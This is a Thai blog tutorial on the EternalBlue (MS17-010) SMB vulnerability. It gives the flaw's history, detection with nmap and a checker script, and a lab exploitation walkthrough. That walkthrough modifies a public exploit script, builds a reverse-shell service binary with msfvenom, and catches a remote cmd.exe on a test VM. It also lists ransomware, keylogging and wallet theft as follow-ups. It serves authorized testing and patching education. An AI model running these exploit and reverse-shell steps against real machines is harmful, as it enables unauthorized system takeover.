วิธีการทดสอบและลองแฮกช่องโหว่ EternalBlue ในองค์กร
14 มิถุนายน 2019
ย้อนอดีตกลับไปช่องโหว่ที่ทำให้แฮกเกอร์ยึดเครื่องเหยื่อ (Remote Code Execution – RCE) ของระบบปฏิบัติการ Windows ก็มีหลายตัวเด่น ๆ เช่นในปี 2008 มีช่องโหว่ memory corruption ในไฟล์ NetAPI32.dll (MS08-067, CVE-2008-4250) ซึ่งทำให้คอมฯโดนแฮกผ่านโปรโตคอล SMB (Server Message Block) ที่เปิดมาโดยอัตโนมัติอยู่แล้วที่ TCP port 139 และ 445 Windows ผลคือแฮกเกอร์นำช่องโหว่นี้ไปไล่แฮกและใช้เป็นฟีเจอร์ของมัลแวร์ชื่อ Conficker มาโจมตีระบบเครือข่ายทั่วโลกและมีเหยื่อโดนแฮกเยอะมาก ๆ เพราะการออกแบบมัลแวร์ตัวนี้ใช้คุณสมบัติ wormable คือเมื่อแฮกคอมฯ 1 เครื่องได้แล้วก็จะทำการ สแกนระบบเครือข่าย เพื่อแฮกแล้วแพร่กระจายตัวเอง จากการแฮกไปยังเครื่องถัด ๆ ไปโดยการคัดลอกตัวเองออกไปเรื่อย ๆ อย่างรวดเร็ว
ถัดจากปี 2008 ผ่านมาเกือบ 10 ปี เมื่อปี 2017 เป็นข่าวครึกโครมเกี่ยวกับช่องโหว่อีกครั้งเมื่อกลุ่มแฮกเกอร์ลึกลับที่ใช้ชื่อว่า The Shadow Brokers (TSB) ประกาศว่าตัวเองมีเครื่องมือลับสุดยอดที่ใช้ในปฏิบัติการแฮก ของสำนักงานความมั่นคงแห่งชาติสหรัฐอเมริกา (Nation Security Agency – NSA) อยู่ในมือ
และต้องการจะ “จัดประมูล” อารมณ์ประมาณว่า ที่รัฐบาลอเมริกาเนี่ยมีกลุ่มแฮกเกอร์ หรือนักรบทหารไซเบอร์ ชื่อว่า Equation Group (ซึ่งว่ากันว่าเกี่ยวข้องกับหน่วยชื่อ Tailored Access Operations หรือ TAO ของ NSA) ทำงานคอยหาข้อมูลข่าวกรองต่าง ๆ โดยวิธีการเจาะระบบเครือข่ายฝั่งตรงข้าม เช่นการทำสงครามกับอัฟกานิสถาน, อิหร่าน และ ซีเรีย ก่อนที่อเมริกาจะส่งทหารถือปืนโดดลงสู่สนามรบ ก็จะส่งนักรบไซเบอร์ลงมือเจาะเซิร์ฟเวอร์ แฮกระบบคอมพิวเตอร์ศัตรูก่อน และการจะทำแบบนั้นได้ก็อาจจะต้องมีอาวุธลับทางไซเบอร์ (exploit) อยู่ในมือเพื่อใช้ในการเจาะระบบที่ปลอดภัยมาก ๆ ได้ TSB เลยบอกว่า เนี่ย! เรามีอาวุธที่ว่านั้นหลุดมาในมือและถ้าใครอยากได้.. จะมาเปิดประมูลกัน! เกร็ดเล็กน้อยที่น่าสนใจคือ วิธีการใช้ภาษาในประกาศของกลุ่ม TSB จะจงใจพิมพ์ผิด ๆ ถูก ๆ เพื่อไม่ให้ถูกแกะรอยได้ว่าคนที่พิมพ์เป็นใคร จากสำนวนการใช้คำต่าง ๆ
โดยวิธีการประมูลของ TSB เทพซ่ามาก คือ ให้คนที่ต้องการประมูลอาวุธไซเบอร์นี้โอนเงินผ่าน Bitcoin มาให้ TSB ก่อนเลย แต่คนที่โอนเงินมาสูงสุดเท่านั้น ที่จะได้เครื่องมือที่ว่าไป ถ้าใครโอนมาแล้วไม่ใช่ราคาสูงสุด.. ก็คือจะเสียเงินไปฟรี ๆ นั้นเอง แถมไม่มีใครกล้ารับรองได้เลยว่า เครื่องมือนั้นคืออะไรและจะมีอยู่จริงรึเปล่า ณ จุดนั้นหลายคนก็ยังคิดว่า TSB อาจเป็นมิจฉาชีพที่สร้างเรื่องปลอมเพื่อหลอกเอาเงินคนอื่นก็เป็นได้ ?
ในระหว่างนั้นก็มีประกาศจาก TSB ออกมาหลายระลอก แต่สุดท้ายทาง TSB ก็ประกาศภายใต้ชื่อ “Lost in Translation” เพื่อปล่อยเครื่องมือเหล่านั้นออกมาสู่สาธาณะฟรี ๆ (มีคนเอามารวมให้ดาวน์โหลดได้ที่ https://github.com/misterch0c/shadowbroker/) โดยหลัก ๆ เป็นโปรแกรมเจาะระบบ (exploitation framework) ชื่อว่า FuzzBunch มีส่วนที่เป็นโปรแกรมสำหรับแฮกเกอร์ควบคุมเครื่องเหยื่อหลังแฮกเข้าไปได้แล้ว กับส่วนที่เป็นโค้ดโจมตีช่องโหว่
ซึ่งมีทั้งที่เป็นโค้ดโจมตีช่องโหว่เก่าที่ถูกแก้ไขแล้วและโค้ดโจมตีช่องโหว่ที่ยังไม่มีการแก้ไข (zero-day vulnerability) โดยแต่ละตัวก็จะมีชื่อเล่นเท่ ๆ เช่น ETERNALROMANCE, EDUCATEDSCHOLAR, EMERALDTHREAD ในบทความนี้เราจะมาดูตัวนึง ที่เรียกได้ว่าเป็นพระเอกของงานจากที่หลุดมาทั้งหมด ก็คือเจ้า EternalBlue นั้นเอง
EternalBlue คืออะไร
EternalBlue เป็นโค้ดโจมตีช่องโหว่ที่เกิดในไฟล์ srv.sys (MS17-010, CVE-2017-0144) เป็นตัวจัดการโปรโตคอล SMB เวอร์ชัน 1 ของระบบปฏิบัติการ Windows ตั้งแต่ XP, 2003, 7, 8, 8.1, 10, 2008, 2012 และ 2016 หรือจะเรียกได้ว่า ใช้แฮกเครื่อง Windows ได้แทบทุกเวอร์ชัน ภายใต้เงื่อนไขว่า เครื่องปลายทางต้องรองรับ SMB เวอร์ชัน 1 (ซึ่งปกติเปิดอยู่โดยไม่ต้องทำอะไรที่ TCP port 139 และ 445) ที่มีช่องโหว่ (ยังไม่ได้อัปเดตแพตช์) อยู่และสามารถถูกต่อเข้า named pipe ได้อย่างน้อย 1 อัน ซึ่งปกติ Windows ก็จะมี named pipe ที่ไม่ต้องมีรหัสผ่านก็ต่อได้อยู่แล้ว เช่น IPC$ หรือ spoolss สรุปภาษาเข้าใจง่าย ๆ คือ EternalBlue (ณ เวลานึงตอน Microsoft ยังไม่รู้) ใช้แฮกเจาะเข้าระบบ Windows เครื่องไหนก็ได้ในโลก โดยไม่ต้องมีรหัสผ่านใด ๆ ยิงเปรี้ยง ยึดเครื่องได้ทันทีเลยเป็นสิทธิ์สูงสุดในระบบเหมือนแฮกเกอร์นั่งอยู่หน้าจอเหยื่ออย่างกับในหนัง ! ด้วยเหตุนี้หลังจากเหตุการณ์ TSB สิ่งที่เกิดคือ แฮกเกอร์ทั่วโลกต่างเอาโค้ดโจมตีช่องโหว่นี้ไปสร้างเป็นมัลแวร์ไล่แฮกเซิร์ฟเวอร์ต่าง ๆ โดยเฉพาะตัวมัลแวร์เรียกค่าไถ่ชื่อดังอย่าง WannaCry, Petya, NotPetya ก็ใช้ช่องโหว่นี้เพื่อแฮกเข้าไปในเครื่องเหยื่อ ก่อนจะทำการเข้ารหัสไฟล์ต่าง ๆ และเรียกค่าไถ่เป็นเงิน Bitcoin จากเจ้าของเครื่อง
อีกฝั่งนึงในวงการ IT Security ก็พยายามนำ EternalBlue มาวิเคราะห์ใช้งานกัน ซึ่งทีแรกต้องใช้ผ่านโปรแกรม FuzzBunch (fb.py) ที่หลุดมาพร้อม ๆ กัน สรุปง่าย ๆ ตัว FuzzBunch ก็คล้ายกับโปรแกรมใช้แฮกช่องโหว่ยอดนิยมอย่าง Metasploit Framework มาก ๆ แต่เขียนด้วยภาษา Python แทน Ruby
ปัญหาของตัว EternalBlue ที่หลุดออกมามีสองข้อคือ (1) ค่อนข้างเก่า ไม่เสถียร ปรับแต่งให้ใช้แฮกได้เฉพาะ Windows XP กับ Windows 7 และ 2008 R2 เท่านั้น (2) แถมบังคับว่าหลังแฮกเสร็จเหยื่อจะต้องติดตั้ง backdoor ของมัน (NSA?) เองชื่อ DoublePulsar ไว้ใช้คุมเครื่องเป้าหมายหลังแฮกสำเร็จแล้ว ซึ่งใช้ค่อนข้างลำบากต้องหาโค้ดอื่นมาลงเพิ่มเติม (ไม่สะดวกเหมือน Meterpreter ใน Metasploit)
คำเตือน: ในทางปฏิบัติผู้เขียนไม่แนะนำให้นำโค้ด EternalBlue จริง ๆ ที่ The Shadow Brokers แจกมาใช้ โดยเฉพาะใช้ในงานการทดสอบเจาะระบบแบบมืออาชีพ (penetration testing) หรือในองค์กร เพราะ..
- มันจะทำการติดตั้ง backdoor ที่รันในระดับ kernel ซึ่งนอกจากฟีเจอร์ที่มันทำได้จาก FuzzBunch/DoublePulsar แล้วเราก็ไม่อาจรู้ได้ว่าจะมีโค้ดที่ไม่น่าไว้วางใจอะไรแฝงมาอย่างแนบเนียนอยู่อีก เพราะจากตัว exploit ที่เราได้มาใช้ยิงนี้มาในรูปแบบ binary มาเลยเราไม่เห็น source code หรือคำอธิบาย ในส่วนของ exploit และ shellcode อย่างละเอียด ดังนั้นจึงไม่ควรนำไปทดสอบในระบบลูกค้าหรือในองค์กรที่รับผิดชอบเด็ดขาด
- แถมยังเป็นการทิ้ง backdoor ไว้ในเครื่องลูกค้าที่ทำให้คนอื่นที่เข้าถึงไฟล์ FuzzBunch สามารถเข้ามาตรวจสอบและคุมเครื่องนั้นต่อได้ด้วย
- อีกข้อนึงการโจมตีโดยใช้โค้ดที่หลุดมานี้ มีความเสี่ยงจะทำให้เครื่องปลายทางที่โดนยิงขึ้นจอฟ้าและ reboot ได้อีกด้วยหากโจมตีไม่สำเร็จ ซึ่งอันตรายมากหากเอาไปทดสอบกับเครื่องลูกค้าหรือองค์กรในระบบจริงที่มีการใช้งานอยู่ ระบบอาจล่มได้
ทีนี้เนี่ย ถัดจากนั้นไม่นาน ก็มีคนไทยระดับโลก คนนึงเก่งมาก (ส่วนตัวผู้เขียนยกให้เป็นคนที่เก่งที่สุดในประเทศไทยที่รู้จักมา) ชื่อคุณ Worawit Wangwarunyoo (ใช้นามแฝงว่า sleepya และ xellos) ประกาศว่าได้ทำการวิเคราะห์ตัวช่องโหว่ EternalBlue อย่างละเอียด (ด้วยการทำ reverse engineering ตัวไฟล์ srv.sys) และพัฒนาโค้ดโจมตีช่องโหว่ EternalBlue ขึ้นมาใหม่หมดจด พร้อมคำอธิบายในไฟล์ต่าง ๆ ทั้งตัว exploit และ shellcode ที่ใช้ อาจเรียกได้ว่า ทำดีกว่าของทีมนักรบไซเบอร์ของสหรัฐอเมริกามัดรวมกันอีก และแจกฟรีเอาไว้ที่ https://github.com/worawit/MS17-010 น่าจะเป็นคนแรกที่ทำ ผลปรากฏว่าคนในวงการ IT Security บริษัทใหญ่ ๆ ดัง ๆ ทั่วโลกต่างก็ชื่นชมยินดีอ้างอิงเอางานชิ้นนี้และชื่อคุณ Worawit ไปเป็นเครดิต เพื่อใช้งาน วิเคราะห์หรืออธิบายต่อกันไปมากมาย เหมือนทำให้ EternalBlue ถูกชำแหละและทำเป็นเวอร์ชัน open source โปร่งใสรู้ว่าโค้ดทำงานยังไง รองรับรุ่น Windows มากขึ้น (จนถึง Windows 8/2012/2016) และเสถียรขึ้นมาก ๆ ก็ว่าได้
วิธีการทดสอบว่าระบบมีช่องโหว่ (Vulnerability Identification)
คำถามที่น่าสนใจ หลังจากที่เราได้รู้จัก EternalBlue กันพอสมควรแล้วก็คือ ตอนนี้ก็ผ่านมาหลายปีแล้ว เราจะทดสอบเองได้ไหม ว่าคอมพิวเตอร์ในครอบครัวที่บ้านเรา หรือที่เรามีสิทธิ์ดูแลในที่ทำงาน ยังมีช่องโหว่ EternalBlue อยู่รึเปล่า? คำตอบคือ คุณสามารถทดสอบได้ง่าย ๆ ด้วยการดาวน์โหลดและติดตั้งโปรแกรมชื่อ nmap จากลิงก์นี้ จากนั้นใช้คำสั่งต่อไปนี้ (ตัวอย่างนี้คือใช้งานผ่าน Kali Docker ที่ลงไว้ตามบทความที่แล้ว)
คำเตือน: ผู้อ่านจำเป็นจะต้องได้รับอนุญาตหรือมีสิทธิ์ในการตรวจสอบช่องโหว่บน IP หรือวง network ปลายทางก่อนจะทำเสมอ ถ้าหากไม่มีแล้วทำ อาจผิดกฏหมายได้ ในบทความนี้ทำการทดสอบในระบบจำลองมาบนโปรแกรม VMware ในเครื่องผู้เขียนเองเท่านั้น
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010 <IP>
โดยแทนที่ ค่า <IP> เป็นหมายเลข IP หรือวง network เช่นถ้าบ้านหรือองค์กรที่เรารับผิดชอบมีสิทธิ์ตรวจสอบใช้ network เป็นวง 192.168.0.0/24 เราก็ใส่ไปได้เลยว่า
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010 192.168.0.0/24
ผลที่ได้ สังเกตว่าจะมีหมวด “Host script results” ต่อด้วย “smb-vuln-ms17-010” ถ้าเกิดบรรทัดถัดจากนี้เขียนว่า VULNERABLE: อย่างในรูปด้านล่าง แปลว่า เครื่อง IP ที่เราทำการตรวจสอบด้วย nmap (จริง ๆ คือใช้สคริปท์ Nmap Script Engine – NSE ที่เขียนด้วยภาษา Lua ชื่อว่า smb-vuln-ms17-010.nse) มีช่องโหว่ EternalBlue ต้องรีบไปอัปเดตแพตช์แล้ว!
อีกวิธีคือ เราสามารถใช้โปรแกรม check.py ที่เขียนโดยคุณ Worawit ได้ด้วยคำสั่งต่อไปนี้
$ git clone https://github.com/worawit/MS17-010 && cd MS17-010 $ python checker.py 192.168.56.102
จะสังเกตว่าขึ้นว่า “The target is not patched” แปลว่าเครื่อง IP ที่เราใส่ไปยังมีช่องโหว่ EternalBlue สามารถถูกแฮกได้อยู่ โดยถ้าหากเครื่องที่เราทดสอบ มีการแพตช์แก้ไขแล้ว จะขึ้นแบบนี้แทน
ทีนี้ผู้อ่านก็สามารถนำวิธีการเหล่านี้ไปใช้ทำการทดสอบเครื่อง Windows ในระบบเครือข่าย ที่ตัวเองได้รับอนุญาตในการดูแลหรือตรวจสอบว่ามีช่องโหว่ EternalBlue รึเปล่าได้ หรือจะทดสอบในระบบของตัวเองบน Virtualbox เพื่อการศึกษาก็ทำได้เช่นกัน จะเห็นว่าทำได้ไม่ยากเลย เพราะมีโปรแกรมสำเร็จรูปไว้ให้ใช้งานได้อยู่แล้ว
วิธีการลองแฮก (Exploitation)
หลังจากเราดูวิธีการตรวจสอบว่าเครื่องมีช่องโหว่ EternalBlue รึเปล่า? ไปแล้ว ต่อไปมาดูว่า ถ้าหากเราอยากจะทดสอบ โจมตีช่องโหว่นี้ เราจะทำได้ยังไง.. ทำได้หลายท่ามาก วิธีนึงคือใช้จากโค้ดของคุณ Worawit (https://github.com/worawit/MS17-010) โดยตรง ซึ่งผมในฐานะ fc ของคุณ Worawit ก็จะใช้ท่านี้แล้วกัน (ฮาา) จะมีไฟล์ชื่อ zzz_exploit.py ไว้ยิงอยู่แล้ว
ต่อไปใช้คำสั่งดังต่อไปนี้ (ผู้เขียนใช้ Kali docker [192.168.56.1] ในตัวอย่างนี้ ยิงไปที่ Windows XP x86 บน VMware [192.168.56.104])
$ python checker.py 192.168.56.104 $ python zzz_exploit.py $ python zzz_exploit.py 192.168.56.104 spoolss
ผลที่ได้ จะพบว่ามีไฟล์ C:\pwned.txt ถูกสร้างในเครื่องที่เราแฮก
เป็นการยืนยันว่าเราได้ทำการโจมตีสำเร็จแล้ว แต่ว่าเวลาเราแฮก.. บางทีเราก็ไม่ได้อยากจะแค่สร้างไฟล์ ทีนี้เราก็ตามไปอ่านกันหน่อยว่าคุณ Worawit ทิ้งอะไรไว้ให้เราแก้บ้างใน zzz_exploit.py โดยทำการค้นหาคำว่า pwned.txt
จะเจอว่ามีฟังก์ชันชื่อ smb_pwn() พร้อมคำอธิบายเล็กน้อยว่าเป็นการใช้ SMB สร้างไฟล์เปล่า ๆ ขึ้นมา พร้อมทั้งคอมเมนต์บอกว่า มีฟังก์ชันชื่อ smb_send_file() กับ service_exec() เตรียมไว้ให้ด้วย
มาลองแก้ไขฟังก์ชัน smb_pwn() ในไฟล์ zzz_exploit.py กันสักหน่อย เปลี่ยนเป็นตามนี้
def smb_pwn(conn, arch): smbConn = conn.get_smbconnection() smb_send_file(smbConn, 'ggez.exe', 'C', '/ggez.eze') service_exec(conn, r'c:\ggez.exe')
จากนั้นทำการสร้าง backdoor เพื่อให้เครื่องที่ถูกแฮกต่อกลับมาหาคนแฮก (reverse shell) โดยมีเงื่อนไขว่า backdoor นี้จะต้องทำงานแบบ Windows service เพื่อที่จะใช้กับช่องโหว่นี้ได้ ซึ่งเราสามารถใช้ msfvenom (Metasploit) สร้าง backdoor ที่ว่าได้ง่าย ๆ โดยพิมพ์คำสั่งดังนี้
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 EXITFUNC=thread -a x86 -f exe-service -o ggez.exe
จากนั้นทำการเปิด TCP Listener เพื่อรอรับ reverse shell กลับมาด้วยโปรแกรม ncat (Kali docker นี้ได้ทำการ เปิด TCP port 4445 ให้เข้าได้จาก IP เครื่อง docker host คือ 192.168.56.1 ไว้)
$ ncat -lvp 4445
แล้วก็ลุยย ยิงซ้ำอีกทีด้วยคำสั่งเดิม กับไฟล์ใหม่ที่เราแก้ไขแล้ว พร้อมกับมีไฟล์ ggez.exe อยู่ข้าง ๆ
$ python zzz_exploit.py 192.168.56.104 spoolss
ณ จุดนี้ เราก็จะสามารถแฮกเครื่อง Windows ด้วยช่องโหว่ EternalBlue ได้แล้ว สิ่งที่เราได้กลับมาคือ command shell (cmd.exe) สำหรับสั่งการเครื่องที่ถูกแฮก ถ้าเราเป็นโจร เราอาจจะใช้จังหวะนี้ในการติดตั้งมัลแวร์ต่าง ๆ เช่นมัลแวร์เข้ารหัสไฟล์เพื่อเรียกค่าไถ่ ดักรหัสผ่านบนคีย์บอร์ดหรือค้นหารูป ขโมยกุญแจ crypto wallet หรือหาข้อมูลต่าง ๆ ในเครื่องเหยื่อได้
ทิ้งท้าย
ช่องโหว่ใหม่ ๆ ก็ถูกค้นพบอยู่เรื่อย ๆ ไม่ว่าจะผ่านมากี่ปีจะปี 2008 (MS08-067 – NetAPI), 2017 (MS17-010 – EternalBlue) หรือ 2019 ล่าสุดก็มีช่องโหว่ BlueKeep (CVE-2019-0708) โผล่มาอีกแล้ว ดังนั้นใน ฐานะที่ถ้าผู้อ่านเป็นผู้ใช้งานทั่วไป ก็ควรทำการอัปเดตระบบปฏิบัติการและโปรแกรมต่าง ๆ ในเครื่องให้เป็นเวอร์ชันใหม่ล่าสุดอยู่เสมอ
ปัญหานี้จริง ๆ นอกจากการแพตช์ระดับผู้ใช้งานทั่วไปแล้ว ก็มีเรื่องการแพตช์ซอฟต์แวร์ในระดับเซิร์ฟเวอร์ของบริษัท ที่หลาย ๆ องค์กรก็เจอ challenge หนักหน่วงตัวอย่างเช่น
(1) ทีม security ต้องให้อัปเดตแพตช์เร็วที่สุด แต่ทีม IT หรือ Business กังวลไม่รู้ว่าอัปเดตไปแล้ว ระบบจะเหมือนเดิมไหมมีปัญหาอะไรในระยะยาวไหม สิ่งที่เคยใช้ได้ดี อยู่ดี ๆ มันจะพังไหม ถ้าล่มใครรับผิดชอบ
(2) บางที่ยังใช้ Windows เวอร์ชันที่ไม่มีการสนับสนุนจาก Microsoft แล้วอย่าง XP หรือ 2003 อยู่เลย ต่อให้อยากอัปเดตแพตช์ ก็ทำไม่ได้ จะซื้อใหม่ก็ไม่มีงบเปลี่ยน แถมไม่มีใครกล้าไปแตะโปรแกรมสำคัญที่ทำงานอยู่ดี ๆ บนนั้นมาเป็นสิบปี
(3) การทำงาน ops โดยการ clone ตัว image / vm ของระบบปฏิบัติการเก่า ที่มีโปรแกรมมีช่องโหว่ แล้วนำมา deploy เป็น base ให้ระบบใหม่อยู่เรื่อย ๆ โดยไม่มีการอัปเดต ภายในองค์กร
(4) ปัญหาการเมืองภายในองค์กร คนทำหน้าที่อัปเดต กับคนใช้งานไม่ถูกกัน หรือมีปัญหาจะไปขัดกับนโยบายอะไรบางอย่าง เช่นคู่มือ หรือระเบียบเจาะจงมาเป๊ะ ๆ ว่าต้องใช้เวอร์ชันเท่านี้ แบบนี้ห้ามอัปเดตแก้ไขช่องโหว่
(5) ประเมินค่าใช้จ่ายในการแก้ไขระบบหลังจากอัปเดตไว้สูงมาก ยังไม่มีคนมีอำนาจอนุมัติและไม่มีทีมรับผิดชอบโดยตรง คนเคยทำก็ลาออกไปแล้ว หรือ vendor ที่เคยจ้างรับงานเสร็จก็ลาจากไปแล้วไม่มีการบำรุงรักษาระบบต่อ
สิ่งเหล่านี้ก็เป็นตัวอย่างที่ผู้เขียนเจอมาระหว่างการไปทำการทดสอบเจาะระบบให้หน่วยงานต่าง ๆ ทั้งในไทยและต่างประเทศ ก็ตกใจว่ายังมีเครื่องเซิร์ฟเวอร์ที่มีช่องโหว่ร้ายแรงสูง (critical) อายุหลักสิบปีอยู่ในองค์กร การแก้ปัญหาเหล่านี้ก็ต้องอาศัยกำลังภายในหลาย ๆ ด้านนอกจากการรู้ช่องโหว่ สุดท้ายแล้วถ้าการอัปเดตแพตช์ ยังไม่สามารถทำได้จริง ๆ เราอาจลดความเสี่ยงของการถูกแฮก ได้โดยการหา security control อื่น ๆ มาร่วมด้วยเช่นมีการทำ network segmentation และกำหนด firewall rules อย่างดีว่าเครื่องที่มีความเสี่ยงใครเข้าถึงได้บ้าง และหา network IPS มาวางเพื่อช่วยลดโอกาสถูกโจมตีสำเร็จให้ได้มากที่สุด ถ้าทำได้อาจมีการทำ virtual patching ทั้งระดับ network และ OS หรือการปรับแก้ไขการตั้งค่าเพื่อให้ช่องโหว่โจมตีไม่ได้โดยไม่ต้องอัปเดตโปรแกรม ก็จะช่วยได้อีกทาง แต่ทางที่ดีที่สุดถ้าถามผู้เขียนแล้วคือองค์กรขนาดใหญ่ (มีระบบเยอะหรือคนเยอะ) ผู้บริหารควรมีวิสัยทัศน์ ใส่ใจในเรื่องความปลอดภัยระบบ มีงบและนโยบายในการประเมินความเสี่ยง การทำ patch management มีพนักงานที่มีหน้าที่ดูแลเฉพาะ มีรอบการอัปเดตที่เป็นแพตช์ช่องโหว่ และมีนโยบายการอัปเดตแพตช์ในส่วนช่องโหว่ระดับ critical ให้เร็วที่สุดทันที มีการทำ inventory เวอร์ชันซอฟต์แวร์ที่ใช้คอยตรวจสอบเพื่อหาทางแก้ไขต่อไป เอาจริง ๆ ก็ไม่ง่ายเหมือนพูดเลย ขึ้นกับแต่ละองค์กรและตัวบุคคลล้วน ๆ ผู้เขียนก็หวังว่าผู้อ่านจะสามารถนำกรณีศึกษา ทั้งการตรวจสอบช่องโหว่ EternalBlue การทดสอบแฮก และแนวคิดต่าง ๆ ไปปรับใช้ให้เกิดประโยชน์ได้ภายในองค์กรครับ
บทความที่เกี่ยวข้อง